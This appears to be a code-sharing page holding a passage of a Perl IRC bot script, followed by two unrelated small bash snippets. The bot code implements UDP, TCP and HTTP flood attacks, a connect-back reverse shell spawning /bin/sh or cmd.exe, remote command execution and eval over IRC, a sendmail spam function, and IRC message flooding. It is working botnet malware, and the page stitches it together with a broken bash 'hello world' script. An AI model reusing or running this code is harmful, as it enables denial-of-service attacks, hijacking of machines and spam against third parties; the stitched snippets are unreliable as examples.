    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FLOOD] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
}
##############

##############
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP FLOOD] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
	my $itime = time;
	my ($cur_time);
	$cur_time = time - $itime;
	while ($3>$cur_time){
	$cur_time = time - $itime;
	&tcpflooder("$1","$2","$3");
}
	sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP FLOOD] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
}
##############
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP FLOOD] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
	my $itime = time;
	my ($cur_time);
	$cur_time = time - $itime;
	while ($2>$cur_time){
	$cur_time = time - $itime;
	my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
	print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
	close($socket);
}
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP FLOOD] 9,1Attacking ended on: 12".$1."9,1. ");
}
##############
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
	my $host = "$1";
	my $port = "$2";
	my $proto = getprotobyname('tcp');
	my $iaddr = inet_aton($host);
	my $paddr = sockaddr_in($port, $iaddr);
	my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
	$shell = "cmd.exe";
}
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
	socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
	connect(SOCKET, $paddr) or die "connect: $!";
	open(STDIN, ">&SOCKET");
	open(STDOUT, ">&SOCKET");
	open(STDERR, ">&SOCKET");
	system("$shell");
	close(STDIN);
	close(STDOUT);
	close(STDERR);
}
##############
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
	$subject = $1;
	$sender = $2;
	$recipient = $3;
	@corpo = $4;
	$mailtype = "content-type: text/html";
	$sendmail = '/usr/sbin/sendmail';
	open (SENDMAIL, "| $sendmail -t");
	print SENDMAIL "$mailtype\n";
	print SENDMAIL "Subject: $subject\n";
	print SENDMAIL "From: $sender\n";
	print SENDMAIL "To: $recipient\n\n";
	print SENDMAIL "@corpo\n\n";
	close (SENDMAIL);
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
}
exit;
}
}
##############
if ($funcarg =~ /^ctcpflood (.*)/) {
    my $target = "$1";
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
	for (1..10) {
	sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
	sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
	}
}
##############
if ($funcarg =~ /^msgflood (.*)/) {
    my $target = "$1";
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
    sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
}
##############
if ($funcarg =~ /^noticeflood (.*)/) {
    my $target = "$1";
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
	for (1..2){
	sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
	}
}
##############

##############
sub ircase {
my ($kem, $printl, $case) = @_;
   if ($case =~ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", "6667");
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =~ /^quit/) {
     quit();
   }
}
##############
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
	chdir("$1") || msg("$printl", "No such file or directory");
	return;
} elsif ($pid = fork) {
	waitpid($pid, 0);
} else {
if (fork) {
	exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
  $c++;
  chop $linha;
  sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  if ($c == "$linas_max") {
    $c=0;
    sleep $sleep;
  }
}
exit;
}
}
}
##############
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
	$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
	socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
	socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
	socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
	socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
	return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
	while ( 1 ) {
for (my $port = 1;
	$port <= 65000; $port++) {
	$cur_time = time - $itime;
last if $cur_time >= $ftime;
	send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
	send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
	send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
	send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3;
	$pc <= 255;$pc++) {
next if $pc == 6;
	$cur_time = time - $itime;
last if $cur_time >= $ftime;
	socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
	send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
##############
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
	$ia=inet_aton($_[0]);
	$pa=sockaddr_in($_[1],$ia);
	$ftime=$_[2];
	$proto=getprotobyname('tcp');
	$j=0;$l=0;
	$cur_time = time - $itime;
while ($l<1000){
	$cur_time = time - $itime;
last if $cur_time >= $ftime;
	$t="SOCK$l";
	socket($t,PF_INET,SOCK_STREAM,$proto);
	connect($t,$pa)||$j--;
	$j++;$l++;
}
	$l=0;
while ($l<1000){
	$cur_time = time - $itime;
last if $cur_time >= $ftime;
	$t="SOCK$l";
shutdown($t,2);
	$l++;
}
}
##############
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}
sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}

sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }

}

###################
##### [ EOF ] #####
###################

project

# Hello World Program in Bash Shell
#!bin/bash
tr abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
if [ "$1" = "YES" ]
#| "YES" |"Y" |"y"]
then
exit 0
else
exit 1
fi
echo "$?"

IngnomiaModding

    #!/bin/bash
    
    cpp - | sed '/^#/d'  | while read line;
    do
      #echo "line = $line";
      while [[ $line =~ ^([^§]*)\§\§([^§]*)\§\§(.*)$ ]];
	do
	  echo -n "${BASH_REMATCH[1]}\"$(echo  "${BASH_REMATCH[2]}" | bc)\"";
	  line="${BASH_REMATCH[3]}";
	done
      echo "$line";
    done | sed -E 's/"\s+?"//g'| python -m json.tool

Advertisements
Loading...

We use cookies to provide and improve our services. By using our site, you consent to our Cookies Policy.